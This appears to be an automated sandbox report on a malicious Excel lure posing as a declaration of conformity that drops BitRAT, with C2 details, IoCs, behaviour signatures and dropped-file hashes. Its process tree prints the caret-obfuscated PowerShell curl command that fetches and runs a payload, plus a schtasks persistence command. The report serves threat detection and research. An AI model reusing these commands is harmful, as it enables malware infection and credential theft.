Analysis

  • max time kernel
    71s
  • max time network
    98s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230831-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-09-2023 15:15

General

  • Target

    Declaration_of_conformity_INOX_MACEL_ITALY_09_2023.xls

  • Size

    100KB

  • MD5

    100a2750f01f084234fbd828f1f608fc

  • SHA1

    e5c947d03ad2a7a08500275b2107d91f13295066

  • SHA256

    4a7daa6f01efcbc7e6480e26f2f99092eb7c059929bc84debd13a7962d0a2a25

  • SHA512

    cf3e7cc272d565722e1f522e038925e8416863994facd1d206695f46178792c7b9f7c87b2b878d1845d7208ff1647158d3980a7268c53be39b98eac354681f8f

  • SSDEEP

    3072:YrxEtjPOtioVjDGUU1qfDlaGGx+cL2QnAPtJE2zuxq+fr9wBLa71ba2ryLTHeYjc:exEtjPOtioVjDGUU1qfDlavx+W2QnAF9

Malware Config

Extracted

Family

bitrat

Version

1.38

C2

185.225.75.68:3569

Attributes
  • communication_password

    0edcbe7d888380c49e7d1dcf67b6ea6e

  • tor_process

    tor

Signatures

  • BitRAT

    BitRAT is a remote access tool written in C++ and uses leaked source code from other families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • XenArmor Suite

    XenArmor is as suite of password recovery tools for various application.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • ACProtect 1.3x - 1.4x DLL software 2 IoCs

    Detects file using ACProtect software.

  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 5 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 49 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Declaration_of_conformity_INOX_MACEL_ITALY_09_2023.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2516
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/gj04sqKk7O/boat.e^xe -o C:\Users\Public\kzcnu.exe;C:\Users\Public\kzcnu.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:5060
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell /W 01 curl https://transfer.sh/get/gj04sqKk7O/boat.exe -o C:\Users\Public\kzcnu.exe;C:\Users\Public\kzcnu.exe
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2668
        • C:\Users\Public\kzcnu.exe
          "C:\Users\Public\kzcnu.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2552
          • C:\Users\Public\kzcnu.exe
            "C:\Users\Public\kzcnu.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4232
            • C:\Users\Public\kzcnu.exe
              -a "C:\Users\Admin\AppData\Local\f9be9104\plg\w8ZO8hvT.json"
              6⤵
              • Executes dropped EXE
              PID:1348
            • C:\Users\Admin\AppData\Local\Temp\w8ZO8hvT.exe
              -a "C:\Users\Admin\AppData\Local\f9be9104\plg\w8ZO8hvT.json"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:2524
              • C:\Users\Admin\AppData\Local\Temp\w8ZO8hvT.exe
                -a "C:\Users\Admin\AppData\Local\Temp\unk.xml"
                7⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Accesses Microsoft Outlook accounts
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3924
          • C:\Windows\SysWOW64\cmd.exe
            "cmd" /c copy "C:\Users\Public\kzcnu.exe" "C:\Users\Admin\AppData\Roaming\pint\pint.exe"
            5⤵
              PID:4060
            • C:\Windows\SysWOW64\cmd.exe
              "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:2884
            • C:\Windows\SysWOW64\cmd.exe
              "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\pint"
              5⤵
                PID:3888
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f
        1⤵
        • Creates scheduled task(s)
        PID:1584
      • C:\Users\Admin\AppData\Roaming\pint\pint.exe
        C:\Users\Admin\AppData\Roaming\pint\pint.exe
        1⤵
        • Executes dropped EXE
        PID:4124

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\License.XenArmor

        Filesize

        104B

        MD5

        4f3bde9212e17ef18226866d6ac739b6

        SHA1

        732733bec8314beb81437e60876ffa75e72ae6cd

        SHA256

        212173a405c78d70f90e8ec0699a60ed2f4a9f3a8070de62eabd666c268fb174

        SHA512

        10b7cdae0b9a7b0f8e1bfc66a60675fa9b25c523864d5ae3da243f4e6e4c5194f3bd92af57ac956157442f66414bdd3393d0a1e5ba4ef0f192561e8524d4e744

      • C:\Users\Admin\AppData\Local\Temp\License.XenArmor

        Filesize

        104B

        MD5

        bf5da170f7c9a8eae88d1cb1a191ff80

        SHA1

        dd1b991a1b03587a5d1edc94e919a2070e325610

        SHA256

        e5d5110feb21939d82d962981aeaaafc4643b40a9b87cbed800ace82135d57cd

        SHA512

        9e32247d8556fd6efffbf7b6b9c325652d8c4b223b0fa38020879171476a49ab1f64d8897b5d8d92b79c5484fd9d5899be26ca5f664ee1f9c2acb0857084121e

      • C:\Users\Admin\AppData\Local\Temp\Unknown.dll

        Filesize

        793KB

        MD5

        86114faba7e1ec4a667d2bcb2e23f024

        SHA1

        670df6e1ba1dc6bece046e8b2e573dd36748245e

        SHA256

        568da887725ccfdc4c5aae3ff66792fe60eca4e0818338f6a8434be66a6fe46d

        SHA512

        d26ee0da6ccd4022982cf848c46e40f6781b667e39d0c5daf5ea8d74c44e55c55a5f7590a4d2a60aa1911358ca783c4276a9b4e6311c4cea20df1ebd4f7f457f

      • C:\Users\Admin\AppData\Local\Temp\Unknown.dll

        Filesize

        793KB

        MD5

        86114faba7e1ec4a667d2bcb2e23f024

        SHA1

        670df6e1ba1dc6bece046e8b2e573dd36748245e

        SHA256

        568da887725ccfdc4c5aae3ff66792fe60eca4e0818338f6a8434be66a6fe46d

        SHA512

        d26ee0da6ccd4022982cf848c46e40f6781b667e39d0c5daf5ea8d74c44e55c55a5f7590a4d2a60aa1911358ca783c4276a9b4e6311c4cea20df1ebd4f7f457f

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yivkznhx.rq3.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\unk.xml

        Filesize

        1KB

        MD5

        ce3e2f5f04eff81b3b7130a90a8e3a6e

        SHA1

        fe9ac39d1db0a28aeef54741003d3f639125dc1c

        SHA256

        b45d1dda071c8ee6b1078e8f71661ee1511887daf491a9f81415232a3c3bd631

        SHA512

        8cd831f9231cc30eeed546b47401459a2737d160faf0eacc823d286de22f79d68a95b994dce1f1eb6e7fa96e24aadeac50659115afe74148a33e6d31012ed357

      • C:\Users\Admin\AppData\Local\Temp\w8ZO8hvT.exe

        Filesize

        402B

        MD5

        ca42e05f9d53c7ec9383307c1ea282bb

        SHA1

        ed0efa1b59b461dcda08121a39411bee72f6b4cb

        SHA256

        63a7295e66183379580db16d0d191bb261ccc9edb982980051291c8bdf6c4ade

        SHA512

        4a1e3655a93f5e29ac7191eb3249b5b5a61b90353e78cc0bae4e81008aaff43bd9db4c2fde0c5ffcdae5e7eb87dfccffd4a1f383c78f5d40d52cbc4d61890196

      • C:\Users\Admin\AppData\Local\Temp\w8ZO8hvT.exe

        Filesize

        402B

        MD5

        ca42e05f9d53c7ec9383307c1ea282bb

        SHA1

        ed0efa1b59b461dcda08121a39411bee72f6b4cb

        SHA256

        63a7295e66183379580db16d0d191bb261ccc9edb982980051291c8bdf6c4ade

        SHA512

        4a1e3655a93f5e29ac7191eb3249b5b5a61b90353e78cc0bae4e81008aaff43bd9db4c2fde0c5ffcdae5e7eb87dfccffd4a1f383c78f5d40d52cbc4d61890196

      • C:\Users\Admin\AppData\Local\Temp\w8ZO8hvT.exe

        Filesize

        402B

        MD5

        ca42e05f9d53c7ec9383307c1ea282bb

        SHA1

        ed0efa1b59b461dcda08121a39411bee72f6b4cb

        SHA256

        63a7295e66183379580db16d0d191bb261ccc9edb982980051291c8bdf6c4ade

        SHA512

        4a1e3655a93f5e29ac7191eb3249b5b5a61b90353e78cc0bae4e81008aaff43bd9db4c2fde0c5ffcdae5e7eb87dfccffd4a1f383c78f5d40d52cbc4d61890196

      • C:\Users\Admin\AppData\Roaming\pint\pint.exe

        Filesize

        197KB

        MD5

        1999932a7f52c8ecac90ab934705de99

        SHA1

        103414bbd42c90f99662418b73dc4c2199620482

        SHA256

        779c1ef3569c9e89ac4877bf768b83db0a2a0a5dc03fb51bb5f48ebba3e4ecd4

        SHA512

        8a4cffca25253fc1311f133fffee91e725e45442eaca02a28bc5319caf53a294721d3f399af7c051dd1827f97beb83faef89c33cd82ed128177ed3a167355c12

      • C:\Users\Admin\AppData\Roaming\pint\pint.exe

        Filesize

        17KB

        MD5

        df2ae56b1ae85e662a5fedc28f4f2d7f

        SHA1

        c284fc22fc6ab5eccad171331a1386ce8c9fcbde

        SHA256

        41f9dd55970b84fda35981860db4d9c90801f2ea11955ccbeb041fc010d68531

        SHA512

        ff1e86ea86d16ee565c081a6424846f12ec5d3cb0656ca05631616a8ef3ef76a1d981cba742e5970a31b0e398e06c1ec7cbaeeaa3ed231f3559b70b83ad896b8

      • C:\Users\Admin\AppData\Roaming\pint\pint.exe

        Filesize

        3.8MB

        MD5

        6d4c3a4ff3637ec34f820172f897d476

        SHA1

        d53fe8f0ecb0536088ec9be5247ab6627baf31cb

        SHA256

        c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

        SHA512

        1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

      • C:\Users\Public\kzcnu.exe

        Filesize

        3.8MB

        MD5

        6d4c3a4ff3637ec34f820172f897d476

        SHA1

        d53fe8f0ecb0536088ec9be5247ab6627baf31cb

        SHA256

        c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

        SHA512

        1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

      • C:\Users\Public\kzcnu.exe

        Filesize

        3.8MB

        MD5

        6d4c3a4ff3637ec34f820172f897d476

        SHA1

        d53fe8f0ecb0536088ec9be5247ab6627baf31cb

        SHA256

        c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

        SHA512

        1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

      • C:\Users\Public\kzcnu.exe

        Filesize

        3.8MB

        MD5

        6d4c3a4ff3637ec34f820172f897d476

        SHA1

        d53fe8f0ecb0536088ec9be5247ab6627baf31cb

        SHA256

        c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

        SHA512

        1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

      • C:\Users\Public\kzcnu.exe

        Filesize

        3.8MB

        MD5

        6d4c3a4ff3637ec34f820172f897d476

        SHA1

        d53fe8f0ecb0536088ec9be5247ab6627baf31cb

        SHA256

        c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3

        SHA512

        1ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894

      • memory/2516-26-0x000001DFC1170000-0x000001DFC2140000-memory.dmp

        Filesize

        15.8MB

      • memory/2516-48-0x000001DFC1170000-0x000001DFC2140000-memory.dmp

        Filesize

        15.8MB

      • memory/2516-23-0x000001DFC1170000-0x000001DFC2140000-memory.dmp

        Filesize

        15.8MB

      • memory/2516-15-0x00007FFBE30D0000-0x00007FFBE32C5000-memory.dmp

        Filesize

        2.0MB

      • memory/2516-14-0x00007FFBA0900000-0x00007FFBA0910000-memory.dmp

        Filesize

        64KB

      • memory/2516-13-0x00007FFBE30D0000-0x00007FFBE32C5000-memory.dmp

        Filesize

        2.0MB

      • memory/2516-12-0x00007FFBA0900000-0x00007FFBA0910000-memory.dmp

        Filesize

        64KB

      • memory/2516-11-0x00007FFBE30D0000-0x00007FFBE32C5000-memory.dmp

        Filesize

        2.0MB

      • memory/2516-10-0x00007FFBE30D0000-0x00007FFBE32C5000-memory.dmp

        Filesize

        2.0MB

      • memory/2516-41-0x00007FFBE30D0000-0x00007FFBE32C5000-memory.dmp

        Filesize

        2.0MB

      • memory/2516-45-0x000001DFC1170000-0x000001DFC2140000-memory.dmp

        Filesize

        15.8MB

      • memory/2516-24-0x000001DFC1170000-0x000001DFC2140000-memory.dmp

        Filesize

        15.8MB

      • memory/2516-49-0x000001DFC1170000-0x000001DFC2140000-memory.dmp

        Filesize

        15.8MB

      • memory/2516-9-0x00007FFBE30D0000-0x00007FFBE32C5000-memory.dmp

        Filesize

        2.0MB

      • memory/2516-8-0x00007FFBE30D0000-0x00007FFBE32C5000-memory.dmp

        Filesize

        2.0MB

      • memory/2516-5-0x00007FFBA3150000-0x00007FFBA3160000-memory.dmp

        Filesize

        64KB

      • memory/2516-7-0x00007FFBA3150000-0x00007FFBA3160000-memory.dmp

        Filesize

        64KB

      • memory/2516-6-0x00007FFBE30D0000-0x00007FFBE32C5000-memory.dmp

        Filesize

        2.0MB

      • memory/2516-4-0x00007FFBE30D0000-0x00007FFBE32C5000-memory.dmp

        Filesize

        2.0MB

      • memory/2516-3-0x00007FFBA3150000-0x00007FFBA3160000-memory.dmp

        Filesize

        64KB

      • memory/2516-0-0x00007FFBA3150000-0x00007FFBA3160000-memory.dmp

        Filesize

        64KB

      • memory/2516-2-0x00007FFBA3150000-0x00007FFBA3160000-memory.dmp

        Filesize

        64KB

      • memory/2516-1-0x00007FFBE30D0000-0x00007FFBE32C5000-memory.dmp

        Filesize

        2.0MB

      • memory/2524-117-0x0000000000400000-0x00000000008DC000-memory.dmp

        Filesize

        4.9MB

      • memory/2524-200-0x0000000000400000-0x00000000008DC000-memory.dmp

        Filesize

        4.9MB

      • memory/2524-121-0x0000000000400000-0x00000000008DC000-memory.dmp

        Filesize

        4.9MB

      • memory/2524-123-0x0000000000400000-0x00000000008DC000-memory.dmp

        Filesize

        4.9MB

      • memory/2524-122-0x0000000000400000-0x00000000008DC000-memory.dmp

        Filesize

        4.9MB

      • memory/2552-64-0x0000000005FD0000-0x0000000006574000-memory.dmp

        Filesize

        5.6MB

      • memory/2552-62-0x0000000074C90000-0x0000000075440000-memory.dmp

        Filesize

        7.7MB

      • memory/2552-63-0x0000000000CC0000-0x0000000001098000-memory.dmp

        Filesize

        3.8MB

      • memory/2552-72-0x0000000074C90000-0x0000000075440000-memory.dmp

        Filesize

        7.7MB

      • memory/2552-65-0x0000000003500000-0x0000000003510000-memory.dmp

        Filesize

        64KB

      • memory/2668-50-0x000002592A400000-0x000002592A410000-memory.dmp

        Filesize

        64KB

      • memory/2668-34-0x0000025942AB0000-0x0000025942AD2000-memory.dmp

        Filesize

        136KB

      • memory/2668-40-0x000002592A400000-0x000002592A410000-memory.dmp

        Filesize

        64KB

      • memory/2668-27-0x000002592A400000-0x000002592A410000-memory.dmp

        Filesize

        64KB

      • memory/2668-51-0x000002592A400000-0x000002592A410000-memory.dmp

        Filesize

        64KB

      • memory/2668-28-0x000002592A400000-0x000002592A410000-memory.dmp

        Filesize

        64KB

      • memory/2668-61-0x00007FFBB89F0000-0x00007FFBB94B1000-memory.dmp

        Filesize

        10.8MB

      • memory/2668-39-0x00007FFBB89F0000-0x00007FFBB94B1000-memory.dmp

        Filesize

        10.8MB

      • memory/2668-52-0x00007FFBB89F0000-0x00007FFBB94B1000-memory.dmp

        Filesize

        10.8MB

      • memory/3924-149-0x0000000000400000-0x00000000006FE000-memory.dmp

        Filesize

        3.0MB

      • memory/3924-147-0x0000000000400000-0x00000000006FE000-memory.dmp

        Filesize

        3.0MB

      • memory/3924-176-0x0000000010000000-0x0000000010227000-memory.dmp

        Filesize

        2.2MB

      • memory/3924-151-0x0000000000400000-0x00000000006FE000-memory.dmp

        Filesize

        3.0MB

      • memory/3924-158-0x0000000010000000-0x0000000010227000-memory.dmp

        Filesize

        2.2MB

      • memory/3924-153-0x0000000000400000-0x00000000006FE000-memory.dmp

        Filesize

        3.0MB

      • memory/3924-152-0x0000000000400000-0x00000000006FE000-memory.dmp

        Filesize

        3.0MB

      • memory/3924-174-0x0000000000400000-0x00000000006FE000-memory.dmp

        Filesize

        3.0MB

      • memory/4232-85-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-88-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-101-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-102-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-103-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-104-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-105-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-106-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-111-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-99-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-98-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-97-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-94-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-93-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-92-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-91-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-90-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-100-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-87-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-86-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-66-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-84-0x0000000074F40000-0x0000000074F79000-memory.dmp

        Filesize

        228KB

      • memory/4232-83-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-155-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-82-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-81-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-80-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-79-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-78-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-77-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-76-0x0000000074BA0000-0x0000000074BD9000-memory.dmp

        Filesize

        228KB

      • memory/4232-71-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-70-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB

      • memory/4232-68-0x0000000000400000-0x00000000007CE000-memory.dmp

        Filesize

        3.8MB